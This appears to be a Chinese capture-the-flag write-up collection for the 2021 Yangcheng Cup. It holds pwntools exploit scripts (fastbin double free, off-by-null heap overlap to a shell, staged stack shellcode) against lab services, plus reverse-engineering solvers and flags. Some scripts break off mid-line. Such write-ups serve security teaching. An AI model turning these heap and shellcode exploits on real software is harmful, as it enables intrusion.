Category - 羊城杯2021

WIP

  1. #!/usr/bin/env python3
  2. from pwn import *
  3. warnings.filterwarnings("ignore", category=BytesWarning)
  4. context(arch="amd64")
  5. context(log_level="debug")
  6. context.proxy="127.0.0.1"
  7. p = remote("192.168.40.193", 8889)
  8. # GLIBC 2.23
  9. # ~ p = process("./how2heap")
  10. def free(idx):
  11. p.sendlineafter("> ", "3")
  12. p.sendlineafter(":", str(idx))
  13. def add(ctx):
  14. p.sendlineafter("> ", "1")
  15. p.sendafter(":", ctx)
  16. ## Fastbin attack
  17. for i in range(0x31):
  18. add('A')
  19. free(0x2f)
  20. free(0x2e)
  21. free(0x2e) # Double free
  22. add(p64(0x602088)) # 0x602088 is the address of fake fast chunk
  23. add("B")
  24. add("C")
  25. ## Construct fake fast chunk at 0x602088
  26. free(0x100000000-0xc)
  27. free(0x100000000-0xc)
  28. ## shellcode for malloc
  29. s = """
  30. push 0x6020C0
  31. pop rax
  32. ret
  33. nop
  34. """
  35. ## set `idx` on .bss section to -0xf
  36. ## -0xf is the offset to malloc GOT table entry
  37. add(asm(s) + p32(0x100000000-0xf))
  38. ## shellcode for mprotect
  39. s = """
  40. push 0x1324ba
  41. pop rbx
  42. // r11: a libc address
  43. // rbx: the offset to one gadge

比赛结束3小时怼出来了。。

x32执行x64代码?

windbg可以正常调试

每两字节按16进制转化为1字节

对转化后的字节

1.ror 3

2.xor 0x64

然后与 90 f0 70 7c 52 05 91 90 aa da 8f fa 7b bc 79 4d 比较

但是16进制转化时存在区分大小写字母的情况,动调时可以在cmp al,bl下断点,手动计算断在那的次数,一旦下一次没触发断点说明大小写字母存在问题。
enter image description here

  1. cmp = "90 f0 70 7c 52 05 91 90 aa da 8f fa 7b bc 79 4d".split()
  2. cmp = [int(_, 16) for _ in cmp]
  3. for num in cmp:
  4. for i in range(0xff):
  5. cur = ((i & 0b111) << 5) | (i >> 3)
  6. cur ^= 0x64
  7. if cur == num:
  8. print(hex(i)[2:].rjust(2, '0').upper(), end='')

改一下可得 SangFor{A7A4A0C0B10Bafa776F55FF4F8C6E849}

edit 功能存在 off-by-null。
首先泄露 heap 地址,然后利用 off-by-null 和 fake chunk 构造 overlapping chunk(consolidate backward)。最后泄露 libc 地址,修改堆上的函数指针,利用 setcontext getshell 后读 flag。

  1. #!/usr/bin/env python3
  2. from pwn import *
  3. warnings.filterwarnings("ignore", category=BytesWarning)
  4. context(arch="amd64")
  5. context(log_level="debug")
  6. libc = ELF("./libc.so.6")
  7. context.proxy = '127.0.0.1'
  8. p = remote("192.168.40.193", 9999)
  9. # ~ p = process("./name", env={"LD_PRELOAD":"./libc.so.6"})
  10. def add(size):
  11. p.sendlineafter("5.exit", '1')
  12. p.sendlineafter(":", str(size))
  13. def edit(idx, ctx):
  14. p.sendlineafter("5.exit", '2')
  15. p.sendlineafter(":", str(idx))
  16. p.sendafter(":", ctx)
  17. def free(idx):
  18. p.sendlineafter("5.exit", '4')
  19. p.sendlineafter(":", str(idx))
  20. def show(idx):
  21. p.sendlineafter("5.exit\n", '3')
  22. p.sendlineafter(":", str(idx))
  23. add(0xf8)
  24. add(0xf8)
  25. add(0xf8)
  26. add(0xf8)
  27. add(0x60)
  28. ## Leak heapbase
  29. show(4)
  30. p.recvline()
  31. HEAP = u64(p.recv(6).ljust(8, b'\x00')) - 0x

调试时dump smc代码,patch源程序方便F5。然后用python模拟下虚拟机指令,得到执行流程。

模拟程序

  1. opcode = [161, 193, 0, 177, 119, 194, 74, 1, 0, 0, 193, 1, 178, 119, 194, 25, 1, 0, 0, 193, 2, 180, 119, 194, 221, 1, 0, 0, 193, 3, 179, 119, 194, 15, 1, 0, 0, 193, 4, 178, 119, 194, 27, 1, 0, 0, 193, 5, 180, 119, 194, 137, 1, 0, 0, 193, 6, 177, 119, 194, 25, 1, 0, 0, 193, 7, 179, 119, 194, 84, 1, 0, 0, 193, 8, 177, 119, 194, 79, 1, 0, 0, 193, 9, 177, 119, 194, 78, 1, 0, 0, 193, 10, 179, 119, 194, 85, 1, 0, 0, 193, 11, 179, 119, 194, 86, 1, 0, 0, 193, 12, 180, 119, 194, 142, 0, 0, 0, 193, 13, 178, 119, 194, 73, 0, 0, 0, 193, 14, 179, 119, 194, 14, 1, 0, 0, 193, 15, 177, 119, 194, 75, 1, 0, 0, 193, 16, 179, 119, 194, 6, 1, 0, 0, 193, 17, 179, 119, 194, 84, 1, 0, 0, 193, 18, 178, 119, 194, 26, 0, 0, 0, 193, 19, 177, 119, 194, 66, 1, 0, 0, 193, 20, 179, 119, 194, 83, 1, 0, 0, 193, 21, 177, 119, 194, 31, 1, 0, 0, 193, 22, 179, 119, 194, 82, 1, 0, 0, 193, 23, 180, 119, 194

调试时把解密数据dump下来,patch源程序即可F5得到伪代码。主要逻辑就是魔改base64,变表+异或。

```
xor_key = [0xa6, 0xa3, 0xa9, 0xac]

table = [228, 196, 231, 199, 230, 198, 225, 193, 224, 192, 227, 195, 226, 194, 237, 205, 236, 204, 239, 207, 238, 206, 233, 201, 232, 200, 235, 203, 234, 202, 245, 213, 244, 212, 247, 215, 246, 214, 241, 209, 240, 208, 243, 211, 242, 210, 253, 221, 252, 220, 255, 223, 149, 156, 157, 146, 147, 144, 145, 150, 151, 148, 138, 142]

en = list(b"H>oQn6aqLr{DH6odhdm0dMe`MBo?lRglHtGPOdobDlknejmGI|ghDb<4")

en = [en[] ^ xor_key[%4] for _ in range(len(en))][:-1]

print(en)

en = [bin(table.index())[2:].rjust(6, '0') for in en]

en = ''.join(en)

print(len(en))

assert len(en) % 8 == 0

for i in range(0, len(en), 8):

  1. print(chr(int(en[i:i+8], 2)), end='')

FLAG:SangFor{XSAYT0u5DQhaxveIR50X1U13M-pZK5A0}

程序伪代码很难看,动调可看出就是乘法和减法的结果和常值进行比较。

  1. from z3 import *
  2. res = [0x249E15C5,-42564,
  3. 885517026,8555,
  4. 1668903866,33181,
  5. 241160452,37779]
  6. for i in range(0, len(res), 2):
  7. a, b = res[i:i+2]
  8. x, y = Ints("x y")
  9. s = Solver()
  10. s.add(x*y == a)
  11. s.add(x-y == b)
  12. s.add(x > 0)
  13. s.add(y > 0)
  14. cond = s.check()
  15. if cond == sat:
  16. m = s.model()
  17. rx = m[x].as_long()
  18. ry = m[y].as_long()
  19. print(hex(rx)[2:].rjust(4, '0').upper()+hex(ry)[2:].rjust(4, '0').upper())

得到 2C7BD2BF862564BAED0B6B6EA94F15BC

其中第二组数据(862564BA)程序是按小写字母16进制转化的,改为小写即可。

FLAG:SangFor{2C7BD2BF862564baED0B6B6EA94F15BC}

netcat连接输入密码得到base64的表,还原密码MD5的摘要值GOOGLE搜一下就可以得到654321

  1. s = 'c232666f1410b3f5010dc51cec341f58'
  2. data = []
  3. for i in range(0, len(s), 2):
  4. data.append(int(s[i:i+2], 16)+1)
  5. import codecs
  6. print(codecs.encode(bytes(data), 'hex')) # pass 654321
  7. table = list(b'TGtUnkaJD0frq61uCQYw3-FxMiRvNOB/EWjgVcpKSzbs8yHZ257X9LldIeh4APom')
  8. enc = list(b'3lkHi9iZNK87qw0p6U391t92qlC5rwn5iFqyMFDl1t92qUnL6FQjqln76l-P')
  9. bin_enc = ''
  10. for num in enc:
  11. bin_enc += bin(table.index(num))[2:].rjust(6, '0')
  12. for i in range(0, len(bin_enc), 8):
  13. print(chr(int(bin_enc[i:i+8], 2)), end='')

FLAG:SangFor{212f4548-03d1-11ec-ab68-00155db3a27e}

父子进程调试,调试者主要有两个功能:解密被调者程序段和hook第一次srand的参数。

先用angr得到解密后的程序段,patch源程序方便F5。

  1. import angr
  2. opcode = [126, 147, 203, 166, 119, 161, 67, 203, 183, 5, 130, 131, 75, 151, 214, 116, 238, 9, 182, 8, 109, 160, 70, 191, 3, 92, 142, 150, 59, 5, 198, 162, 56, 142, 39, 65, 88, 109, 101, 30, 11, 135, 102, 50, 63, 67, 219, 213, 213, 19, 249, 189, 237, 158, 113, 246, 201, 90, 88, 97, 141, 132, 224, 161, 238, 18, 111, 25, 189, 251, 153, 158, 72, 59, 89, 67, 165, 130, 246, 62, 52, 31, 28, 41, 72, 227, 27, 151, 102, 148, 253, 230, 250, 142, 101, 107, 158, 46, 210, 23, 113, 52, 182, 132, 44, 135, 79, 31, 253, 110, 185, 224, 227, 37, 217, 16, 245, 245, 56, 210, 115, 162, 26, 171, 140, 182, 13, 11, 168, 139, 147, 231, 99, 190, 101, 9, 213, 236, 49, 178, 143, 247, 152, 29, 126, 206, 151, 52, 18, 75, 7, 180, 13, 98, 139, 252, 138, 198, 250, 249, 166, 138, 170, 213, 208, 100, 217, 195, 240, 82, 38, 26, 240, 72, 107, 176, 94, 132, 153, 212, 193, 37, 12

user 存在栈溢出。程序没有开 NX,可以在栈上执行 shellcode。栈上能写 shellcode 的空间很小,只有 8 byte。
第一段 shellcode 利用 sub_40095D 将第两段 shellcode 写到栈上,然后转跳到第两段 shellcode。第两段 shellcode 最大长度是 16 bytes。
第两段 shellcode 和第一段 shellcode 类似,把第三段 shellcode 写到栈上。最后通过第三段 shellcode 读 flag。

  1. #!/usr/bin/env python3
  2. from pwn import *
  3. warnings.filterwarnings("ignore", category=BytesWarning)
  4. context(arch="amd64")
  5. context(log_level="debug")
  6. context.proxy="127.0.0.1"
  7. p = remote("192.168.40.193", 40001)
  8. # ~ p = process("./nologin")
  9. p.sendlineafter(">", "2")
  10. ## 1st shellcode
  11. ## This shellcode is used to load 2nd shellcode from user input by sub_40095D
  12. s="""
  13. push rax
  14. pop rdi
  15. // 0x40095D
  16. mov ebx, [rsp]
  17. call rbx
  18. nop
  19. """
  20. ## rax is pointing to 1st shellcode on stack
  21. jmp_rax = 0x400851
  22. p.sendlineafter("password:", b'A'*5 + asm(s) + p64(jmp_rax) + p64(0x40095D))
  23. ## 2nd shellcode
  24. ## This shellcode is used to load 3rd shellcode from user input
  25. ## It will be overwritten by 3rd shellcode later by read syscall.
  26. s